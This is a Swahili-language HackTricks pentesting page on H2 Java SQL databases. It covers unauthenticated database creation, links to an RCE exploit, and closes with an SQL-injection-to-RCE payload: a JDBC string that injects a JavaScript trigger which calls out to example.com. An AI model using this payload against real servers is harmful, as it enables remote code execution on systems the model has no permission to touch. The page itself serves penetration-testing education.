hacktricks/network-services-pentesting/pentesting-web/h2-java-sql-database.md

3.6 KiB

H2 - Java SQL database

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ukurasa rasmi: https://www.h2database.com/html/main.html

Kufikia

Unaweza kutoa jina lisilo wazi la database ili kuunda database mpya bila sifa halali (bila uthibitisho):

Au ikiwa unajua kuwa kwa mfano mysql inaendeshwa na unajua jina la database na sifa za database hiyo, unaweza tu kufikia:

Ujanja kutoka kisanduku cha Hawk cha HTB.

RCE

Ukiwa na ufikiaji wa kuwasiliana na database ya H2 angalia shambulio hili la kupata RCE: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL Injection to RCE

Katika chapisho hili payload inaelezwa kupata RCE kupitia database ya H2 ikidhuru SQL Injection.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: